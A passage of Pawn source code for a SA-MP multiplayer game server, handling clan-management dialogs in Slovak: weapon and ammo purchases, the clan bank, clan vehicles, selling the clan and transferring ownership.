                     else if(dini_Int(cway, "WeaponSlots") == 8) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5],w[6],a[6],w[7],a[7]);

                    ShowPlayerDialog(playerid,Dialog_ClanA_WList,DIALOG_STYLE_LIST,"Správa zbraní",gBIGSTRING,"OK","Cancel");
                }

                if(listitem == 4)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_ChangeClanName,DIALOG_STYLE_INPUT,"Zmena mena clanu","{ffff50}Zadaj nové meno clanu:","Zmeniť","Cancel");
                }

                if(listitem == 5)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_ChangeClanColor,DIALOG_STYLE_LIST,"Zmena farby clanu","Black\nWhite\nSilver\nYellow\nLight yellow\nGreen\nDark green\nLight green\nPurple\nPink\nBlue\nDark blue\nBrown\nCyan\nOrange","Zmeniť","Cancel");
                }

                if(listitem == 6)
                {
                    new XXXf0054[128];
                    format(XXXf0054,128, "{ffff50}Aktuálni stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", Clan[Player[playerid][ClanP]][Bank]);

                    ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrať peniaze z účtu clanu", XXXf0054,"Vybrať","Cancel");
                }

                if(listitem == 7)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_Upgrades,DIALOG_STYLE_LIST,"Upgrady","Pridať parkovacie miesto (1 000 000$)\nPridať weapon slot (250 000$)\nZmeniť interiér sidla\nUbrat parkovacie miesto\nUbrať weapon slot","OK","Cancel");
                }

                if(listitem == 8)
                {
                    if(Player[playerid][ClanID] != Player[playerid][ClanP]) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Nie si majiteľ tohto clanu !", "OK", "");
                    else
                    {
                        new clanid4f65 = Player[playerid][ClanP];
                        new cway1f09[64];
                        format(cway1f09,64, "SL/Server/Clans/Clan%d.cfg", clanid4f65);

                        GivePlayerACMoney(playerid, 750000);

                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Predal si si clan","{ffff50}Predal si si svoj clan za 750 000$ !","OK","");

                        new Name[24];
                        GetPlayerName(playerid, Name, 24);
                        new cstring7f18[128];
                        format(cstring7f18,128, "Clan %s bol zrušeny hráčom %s (%d) !", dini_Get(cway1f09, "Name"), Name, playerid);
                        SendClientMessageToAll(COLOR_YELLOW_LIGHT, cstring7f18);

                        Clan[clanid4f65][State] = 0;
                        dini_IntSet(cway1f09, "State", 0);

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[i][ClanP] == Player[playerid][ClanP])
                                    {
                                        if(i != playerid)
                                        {
                                            OnPlayerLeaveClan(i);
                                        }
                                    }
                                }
                            }
                        }

                        for(new p=0; p<dini_Int(cway1f09, "Players"); p++)
                        {
                            new P_Name[16];
                            format(P_Name,16, "P%d_Name", p);

                            new pway[32];
                            format(pway,32, "SL/%s.cfg", P_Name);

                            if(dini_Exists(pway))
                            {
                                dini_IntSet(pway, "Team", 0);
                                dini_IntSet(pway, "Clan", 9999);
                                dini_IntSet(pway, "ClanRank", 9999);
                            }
                        }

                        Clan[clanid4f65][Players] = 0;
                        dini_IntSet(cway1f09, "Players", 0);

                        Delete3DTextLabel(Clan[clanid4f65][cText3D]);

                        new c3Dstring47[150];
                         format(c3Dstring47, 150, "[ Clan ]\n%s\nVoľný Clan", dini_Get(cway1f09, "Name"));

                        Clan[clanid4f65][cText3D] = Create3DTextLabel(c3Dstring47, COLOR_PURPLE, Clan[clanid4f65][cpeX], Clan[clanid4f65][cpeY], Clan[clanid4f65][cpeZ], 50, 0);

                        OnPlayerLeaveClan(playerid);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WList)
        {
            if(response == 1)
            {
                new cway0f71[64];
                format(cway0f71,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                Player[playerid][Clan_SaveWeaponID] = listitem;

                ShowPlayerDialog(playerid,Dialog_ClanA_WInfo,DIALOG_STYLE_LIST,"Detaily zbrane","Dokupiť zásoby\nNahradiť zbraň\nZrušiť zbraň","OK","Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WInfo)
        {
            if(response == 1)
            {
                new cway0f71[64];
                format(cway0f71,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new W_id[16];
                new W_ammo[16];
                format(W_id,16, "W%d_id", Player[playerid][Clan_SaveWeaponID]);
                format(W_ammo,16, "W%d_ammo", Player[playerid][Clan_SaveWeaponID]);

                if((listitem != 1) && (dini_Int(cway0f71, W_id) == 0)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Na tomto slote nemáš zbraň !\nMusíš zbraň kupiť aby si mohol dokupovať zásoby !","Cancel","");
                else
                {
                    new trwqew[256];
                    new wprice;

                       if(dini_Int(cway0f71, W_id) == 16) wprice=2000;
                    if(dini_Int(cway0f71, W_id) == 22) wprice=1200;
                    if(dini_Int(cway0f71, W_id) == 23) wprice=1200;
                    if(dini_Int(cway0f71, W_id) == 24) wprice=2500;
                    if(dini_Int(cway0f71, W_id) == 25) wprice=1750;
                    if(dini_Int(cway0f71, W_id) == 26) wprice=2000;
                    if(dini_Int(cway0f71, W_id) == 27) wprice=2000;
                    if(dini_Int(cway0f71, W_id) == 28) wprice=1950;
                    if(dini_Int(cway0f71, W_id) == 29) wprice=2100;
                    if(dini_Int(cway0f71, W_id) == 30) wprice=2100;
                    if(dini_Int(cway0f71, W_id) == 31) wprice=2500;
                    if(dini_Int(cway0f71, W_id) == 32) wprice=1500;
                    if(dini_Int(cway0f71, W_id) == 33) wprice=2250;
                    if(dini_Int(cway0f71, W_id) == 34) wprice=15000;

                    if(listitem == 0)
                    {
                        format(trwqew,256,"{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusov: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway0f71, W_id)), dini_Int(cway0f71, W_ammo), wprice);

                        ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",trwqew,"Dokupit","Cancel");
                    }

                    if(listitem == 1)
                    {
                        ShowPlayerDialog(playerid,Dialog_ClanA_WNew,DIALOG_STYLE_LIST,"Nahradiť zbraň","9 mm\n9mm + tlmič\nDesert Eagle\nBrokovnica\nSawn - Off\nCombat Shotgun\nUZI\nSMG\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nGranát","Dokupit","Cancel");
                    }

                    if(listitem == 2)
                    {
                        dini_IntSet(cway0f71, W_id, 0);
                        dini_IntSet(cway0f71, W_ammo, 0);

                        FormatPlayerInfoBox(playerid, "~g~Clan", "Zrusil si vybranu zbran!", 2500);
                        Player[playerid][IPIP]=true;
                        SetTimerEx("IsPlayerInPickupFalse", 3000, 0, "i", playerid);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WNew)
        {
            if(response == 1)
            {
                new cway9f700[64];
                format(cway9f700,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new W_id4[16];
                new W_ammo4[16];
                format(W_id4,16, "W%d_id", Player[playerid][Clan_SaveWeaponID]);
                format(W_ammo4,16, "W%d_ammo", Player[playerid][Clan_SaveWeaponID]);

                new wid;

                if(listitem == 0) wid = 22;
                if(listitem == 1) wid = 23;
                if(listitem == 2) wid = 24;
                if(listitem == 3) wid = 25;
                if(listitem == 4) wid = 26;
                if(listitem == 5) wid = 27;
                if(listitem == 6) wid = 28;
                if(listitem == 7) wid = 29;
                if(listitem == 8) wid = 30;
                if(listitem == 9) wid = 31;
                if(listitem == 10) wid = 32;
                if(listitem == 11) wid = 33;
                if(listitem == 12) wid = 34;
                if(listitem == 13) wid = 16;

                new steqw[128];
                format(steqw,128, "~w~Nahradil si staru zbran ~y~%s~w~ novou zbranou ~y~%s~w~", WeaponName(dini_Int(cway9f700, W_id4)), WeaponName(wid));

                FormatPlayerInfoBox(playerid, "~g~Clan", steqw, 2500);
                Player[playerid][IPIP]=true;
                SetTimerEx("IsPlayerInPickupFalse", 3000, 0, "i", playerid);

                dini_IntSet(cway9f700, W_id4, wid);
                dini_IntSet(cway9f700, W_ammo4, 10);
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_WPlus)
        {
            if(response == 1)
            {
                new cway9f711[64];
                format(cway9f711,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new W_id3[16];
                new W_ammo3[16];
                format(W_id3,16, "W%d_id", Player[playerid][Clan_SaveWeaponID]);
                format(W_ammo3,16, "W%d_ammo", Player[playerid][Clan_SaveWeaponID]);

                new howmuch = strval(inputtext);

                new wprice;
                if(dini_Int(cway9f711, W_id3) == 16) wprice=2000;
                if(dini_Int(cway9f711, W_id3) == 22) wprice=1200;
                if(dini_Int(cway9f711, W_id3) == 23) wprice=1200;
                if(dini_Int(cway9f711, W_id3) == 24) wprice=2500;
                if(dini_Int(cway9f711, W_id3) == 25) wprice=1750;
                if(dini_Int(cway9f711, W_id3) == 26) wprice=2000;
                if(dini_Int(cway9f711, W_id3) == 27) wprice=2000;
                if(dini_Int(cway9f711, W_id3) == 28) wprice=1950;
                if(dini_Int(cway9f711, W_id3) == 29) wprice=2100;
                if(dini_Int(cway9f711, W_id3) == 30) wprice=2100;
                if(dini_Int(cway9f711, W_id3) == 31) wprice=2500;
                if(dini_Int(cway9f711, W_id3) == 32) wprice=1500;
                if(dini_Int(cway9f711, W_id3) == 33) wprice=2250;
                if(dini_Int(cway9f711, W_id3) == 34) wprice=15000;

                new price = (wprice * howmuch);

                new vcxtrew[256];

                if(!strlen(inputtext))
                {
                    format(vcxtrew,256,"{ff0000}Nezadal si počet kusov !\n\n{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusov: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3), wprice);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",vcxtrew,"Dokupit","Cancel");
                }
                else if(howmuch <= 0)
                {
                    format(vcxtrew,256,"{ff0000}Nemôžeš zadať nulu alebo zápornu hodnotu !\n\n{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusov: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3), wprice);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",vcxtrew,"Dokupiť","Cancel");
                }
                else if(price > Clan[Player[playerid][ClanP]][Bank])
                {
                    format(vcxtrew,256,"{ff0000}V clanu nie je dostatok peňazi !\n\n{ffff50}Zbraň: {ff0000}%s{ffff50}\nPočet kusů: {ff0000}%d{ffff50} ks\n\nCena 1 kusu: {ff0000}%d$\n{ffff00}Zadaj počet kusov ktoré chceš dokupiť:", WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3), wprice);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_WPlus,DIALOG_STYLE_INPUT,"Dokupiť zásoby",vcxtrew,"Dokupit","Cancel");
                }
                else
                {
                    new oldammo = dini_Int(cway9f711, W_ammo3);
                    new newammo = (oldammo + howmuch);

                    dini_IntSet(cway9f711, W_ammo3, newammo);

                    Clan[Player[playerid][ClanP]][Bank] -= price;

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3Dstring[150];
                    format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway9f711, "Name"), dini_Get(cway9f711, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                    format(vcxtrew,256, "{00bb00}Úspešne si si dokupil %d kusov zbrani %s za %d$.\nAktuálny stav: %s - %d kusov", howmuch, WeaponName(dini_Int(cway9f711, W_id3)), price, WeaponName(dini_Int(cway9f711, W_id3)), dini_Int(cway9f711, W_ammo3));
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "Info Box", vcxtrew, "OK", "");
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_Vehicles)
        {
            if(response == 1)
            {
                new cway9f971[64];
                format(cway9f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                Player[playerid][Clan_SaveVehSeries] = listitem;

                new V_id[16];
                format(V_id,16, "V%d_id", listitem);

                new strew[64];
                if(dini_Int(cway9f971, V_id) == 0) strew="{606060}- empty -";
                else format(strew, 32, "{ffffff}%s", VehicleName[dini_Int(cway9f971, V_id) - 400]);

                ShowPlayerDialog(playerid,Dialog_ClanA_VehMenu,DIALOG_STYLE_LIST,strew,"Kupiť nové vozidlo\nPrefarbiť vozidlo\nPozicia vozidla\nRespawn vozidla\nPredať vozidlo","OK","Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_VehColors)
        {
            if(response == 1)
            {
                new cway9f971[64];
                format(cway9f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new V_color1[16];
                format(V_color1,16, "V%d_color1", Player[playerid][Clan_SaveVehSeries]);
                new V_color2[16];
                format(V_color2,16, "V%d_color2", Player[playerid][Clan_SaveVehSeries]);

                if(listitem == 0) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],0,0); dini_IntSet(cway9f971,V_color1,0); dini_IntSet(cway9f971,V_color2,0); }
                if(listitem == 1) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],1,1); dini_IntSet(cway9f971,V_color1,1); dini_IntSet(cway9f971,V_color2,1); }
                if(listitem == 2) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],2,2); dini_IntSet(cway9f971,V_color1,2); dini_IntSet(cway9f971,V_color2,2); }
                if(listitem == 3) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],3,3); dini_IntSet(cway9f971,V_color1,3); dini_IntSet(cway9f971,V_color2,3); }
                if(listitem == 4) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],8,8); dini_IntSet(cway9f971,V_color1,8); dini_IntSet(cway9f971,V_color2,8); }
                if(listitem == 5) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],6,6); dini_IntSet(cway9f971,V_color1,6); dini_IntSet(cway9f971,V_color2,6); }
                if(listitem == 6) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],126,126); dini_IntSet(cway9f971,V_color1,126); dini_IntSet(cway9f971,V_color2,126); }
                if(listitem == 7) { ChangeVehicleColor(ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]],86,86); dini_IntSet(cway9f971,V_color1,86); dini_IntSet(cway9f971,V_color2,86); }

                SendClientMessage(playerid, COLOR_WHITE, "Prefarbil si si vybrané clan vozidlo !");

                Player[playerid][IPIP]=false;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_NewVehList)
        {
            if(response == 1)
            {
                new modelid;
                new cStringXf44[128];

                if(listitem == 0)  modelid = 405;
                if(listitem == 1)  modelid = 411;
                if(listitem == 2)  modelid = 415;
                if(listitem == 3)  modelid = 418;
                if(listitem == 4)  modelid = 419;
                if(listitem == 5)  modelid = 444;
                if(listitem == 6)  modelid = 451;
                if(listitem == 7)  modelid = 470;
                if(listitem == 8)  modelid = 489;
                if(listitem == 9)  modelid = 490;
                if(listitem == 10) modelid = 492;
                if(listitem == 11) modelid = 494;
                if(listitem == 12) modelid = 495;
                if(listitem == 13) modelid = 506;
                if(listitem == 14) modelid = 516;
                if(listitem == 15) modelid = 521;
                if(listitem == 16) modelid = 522;
                if(listitem == 17) modelid = 533;
                if(listitem == 18) modelid = 535;
                if(listitem == 19) modelid = 536;
                if(listitem == 20) modelid = 541;
                if(listitem == 21) modelid = 550;
                if(listitem == 22) modelid = 551;
                if(listitem == 23) modelid = 555;
                if(listitem == 24) modelid = 558;
                if(listitem == 25) modelid = 559;
                if(listitem == 26) modelid = 560;
                if(listitem == 27) modelid = 562;
                if(listitem == 28) modelid = 565;
                if(listitem == 29) modelid = 579;
                if(listitem == 30) modelid = 581;
                if(listitem == 31) modelid = 587;
                if(listitem == 32) modelid = 602;
                if(listitem == 33) modelid = 603;

                Player[playerid][Clan_SaveVehicleID] = modelid;

                format(cStringXf44,128,"{ffffff}Meno: {ffff50}%s\n{ffffff}Cena: {ffff50}%d$", VehicleName[modelid - 400], GetClanVehiclePrice(modelid));

                ShowPlayerDialog(playerid,Dialog_ClanA_NewVehInfo,DIALOG_STYLE_MSGBOX, VehicleName[modelid - 400], cStringXf44, "Kupit", "Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_NewVehInfo)
        {
            if(response == 1)
            {
                if(Clan[Player[playerid][ClanP]][Bank] < GetClanVehiclePrice(Player[playerid][Clan_SaveVehicleID])) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}V clanu nie je dostatok peňazi !","Cancel","");
                else
                {
                    new cway4f971[64];
                    format(cway4f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                    new V_id[16];
                    format(V_id,16, "V%d_id", Player[playerid][Clan_SaveVehSeries]);
                    new V_color1[16];
                    format(V_color1,16, "V%d_color1", Player[playerid][Clan_SaveVehSeries]);
                    new V_color2[16];
                    format(V_color2,16, "V%d_color2", Player[playerid][Clan_SaveVehSeries]);

                    new rancolor1 = random(126);
                    new rancolor2 = random(126);

                    dini_IntSet(cway4f971, V_id, Player[playerid][Clan_SaveVehicleID]);
                    dini_IntSet(cway4f971, V_color1, rancolor1);
                    dini_IntSet(cway4f971, V_color2, rancolor2);

                    ClanVehicle[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]] = CreateVehicle(Player[playerid][Clan_SaveVehicleID], CV_x[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], CV_y[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], CV_z[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], CV_a[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]], rancolor1, rancolor2, 300);

                    Clan[Player[playerid][ClanP]][Bank] -= GetClanVehiclePrice(Player[playerid][Clan_SaveVehicleID]);

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);
                    
                    ClanVehicle_State[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]]=true;

                    new c3Dstring[150];
                    format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway4f971, "Name"), dini_Get(cway4f971, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ffff50}Kupil si si nové vozidlo do clanu !","OK","");
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_VehMenu)
        {
            if(response == 1)
            {
                new cway9f971[64];
                format(cway9f971,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new V_id[16];
                format(V_id,16, "V%d_id", Player[playerid][Clan_SaveVehSeries]);

                new type = Player[playerid][Clan_SaveVehSeries];
                new clan = Player[playerid][ClanP];
                new vehicleid = ClanVehicle[type][clan];

                if(listitem == 0)
                {
                    if(dini_Int(cway9f971, V_id) != 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Najprv musíš predať staré vozidlo na tomto slote !","Cancel","");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_NewVehList,DIALOG_STYLE_LIST,"{ffff50}Kupiť nové vozidlo","Sentinel\nInfernus\nCheetah\nMoonbeam\nEsperanto\nMonster\nTurismo\nPatriot\nRancher\nFBI Rancher\nGreenwood\nHotring\nSandking\nSuper GT\nNebula\nFCR - 900\nNRG - 500\nFeltzer\nSlamvan\nBlade\nBullet\nSunrise\nMerit\nWindsor\nUranus\nJester\nSultan\nElegy\nFlash\nHuntley\nBF - 400\nEuros\nAlpha\nPhoenix","OK","Cancel");
                }

                if(listitem == 1)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_VehColors,DIALOG_STYLE_LIST,"Prefarbenie vozidla (1000$)","Black\nWhite\nBlue\nRed\nSilver\nYellow\nPink\nGreen","OK","Cancel");
                }

                if(listitem == 2)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        new Float:vX, Float:vY, Float:vZ;
                        GetVehiclePos(vehicleid,vX,vY,vZ);

                        SetPlayerCameraPos(playerid,vX,vY,vZ+100);
                        SetPlayerCameraLookAt(playerid,vX,vY,vZ);
                        TogglePlayerControllable(playerid,0);
                        
                        SavePlayerLastStats(playerid);
                        SetPlayerPos(playerid, vX, vY, -40);

                        new GMtext[64];
                        new GameZone[MAX_ZONE_NAME];
                        GetVehicle2DZone(vehicleid, GameZone, MAX_ZONE_NAME);

                        format(GMtext,64,"~n~~n~~n~~n~~n~~w~Vehicle Position~n~~g~%s",GameZone);
                        GameTextForPlayer(playerid,GMtext,3000,5);

                        Player[playerid][IPIP]=true;
                        SetTimerEx("PlayerCameraBack",5000,0,"i",playerid);
                        SetTimerEx("LoadPlayerLastStats",5000,0,"i",playerid);
                        SetTimerEx("IsPlayerInPickupFalse",6000,0,"i",playerid);
                    }
                }

                if(listitem == 3)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        Player[playerid][IPIP]=true;
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Respawn vozidla","{ffff50}Respawnul si clan vozidlo,\nvozidlo je opeť pri sídle clanu.","OK","Cancel");

                        CV_x2[type][clan] = CV_x[type][clan];
                        CV_y2[type][clan] = CV_y[type][clan];
                        CV_z2[type][clan] = CV_z[type][clan];
                        CV_a2[type][clan] = CV_a[type][clan];

                        SetVehicleToRespawn(vehicleid);
                        SetVehicleVirtualWorld(vehicleid, 0);
                    }
                }

                if(listitem == 4)
                {
                    if(dini_Int(cway9f971, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        DestroyVehicleEx(vehicleid);
                        
                        ClanVehicle_State[Player[playerid][Clan_SaveVehSeries]][Player[playerid][ClanP]]=false;

                        new str_00[128];
                        new v_sell_a[16];
                        format(v_sell_a,16, "V%d_sell", type);

                        format(str_00,128,"Predal si clan vozidlo za %d$ !", (GetClanVehiclePrice(dini_Int(cway9f971, V_id)) / 4 * 3));
                        SendClientMessage(playerid, COLOR_RED, str_00);

                        GivePlayerACMoney(playerid, (GetClanVehiclePrice(dini_Int(cway9f971, V_id)) / 4 * 3));

                        if(ClanVehicleNeons[type][clan] == true)
                        {
                            DestroyObject(ClanVehicleNeon1[type][clan]);
                            DestroyObject(ClanVehicleNeon2[type][clan]);
                            ClanVehicleNeons[type][clan]=false;
                        }

                        new v_id[16];
                        format(v_id,16,"V%d_id", type);
                        dini_IntSet(cway9f971,v_id,0);

                        new v_name[16];
                        format(v_name,16,"V%d_name", type);
                        dini_Set   (cway9f971,v_name,"-none-");

                        new v_sell[16];
                        format(v_sell,16,"V%d_sell", type);
                        dini_IntSet(cway9f971,v_sell,0);

                        new v_neons[16];
                        format(v_neons,16,"V%d_neons", type);
                        dini_IntSet(cway9f971,v_neons,0);

                        new v_wheels[16];
                        format(v_wheels,16,"V%d_wheels", type);
                        dini_IntSet(cway9f971,v_wheels,0);

                        new v_spoiler[16];
                        format(v_spoiler,16,"V%d_spoiler", type);
                        dini_IntSet(cway9f971,v_spoiler,0);

                        new v_pn[16];
                        format(v_pn,16,"V%d_pn", type);
                        dini_IntSet(cway9f971,v_pn,0);
                        
                        new v_pj[16];
                        format(v_pj,16,"V%d_pj", type);
                        dini_IntSet(cway9f971,v_pj,9999);

                        new v_snL[16];
                        format(v_snL,16,"V%d_snL", type);
                        dini_IntSet(cway9f971,v_snL,0);

                        new v_snR[16];
                        format(v_snR,16,"V%d_snR", type);
                        dini_IntSet(cway9f971,v_snR,0);

                        new v_zn[16];
                        format(v_zn,16,"V%d_zn", type);
                        dini_IntSet(cway9f971,v_zn,0);

                        new v_exhaust[16];
                        format(v_exhaust,16,"V%d_exhaust", type);
                        dini_IntSet(cway9f971,v_exhaust,0);

                        new v_nitro[16];
                        format(v_nitro,16,"V%d_nitro", type);
                        dini_IntSet(cway9f971,v_nitro,0);

                        new v_hyd[16];
                        format(v_hyd,16,"V%d_hyd", type);
                        dini_IntSet(cway9f971,v_hyd,0);

                        new v_roof[16];
                        format(v_roof,16,"V%d_roof", type);
                        dini_IntSet(cway9f971,v_roof,0);

                        new v_color1[16];
                        format(v_color1,16,"V%d_color1", type);
                        dini_IntSet(cway9f971,v_color1,0);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2", type);
                        dini_IntSet(cway9f971,v_color2,0);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_P_Majitel1)
        {
            if(response == 1)
            {
                new cway9f99[64];
                format(cway9f99,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Plat[16];
                format(P_Plat,16, "P%d_Plat", Player[playerid][Clan_SavePlayerRank]);
                new P_Hodnost[16];
                format(P_Hodnost,16, "P%d_Hodnost", Player[playerid][Clan_SavePlayerRank]);
                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new Name[24];
                GetPlayerName(playerid, Name, 24);

                new bool:f0098451=false;

                new f0114785[128];
                format(f0114785,128, "{aaaaaa}Nastavil si hráča {c8c8c8}%s{aaaaaa} majiteľom clanu !", dini_Get(cway9f99, P_Name));
                SendClientMessage(playerid, COLOR_RED, f0114785);

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][ClanP] == Player[playerid][ClanP])
                            {
                                if(Player[i][ClanRank] == Player[playerid][Clan_SavePlayerRank])
                                {
                                    f0098451=true;

                                    new f0064875[128];
                                    format(f0064875,128, "Hráč %s ťa nastavil majiteľom clanu !", Name);
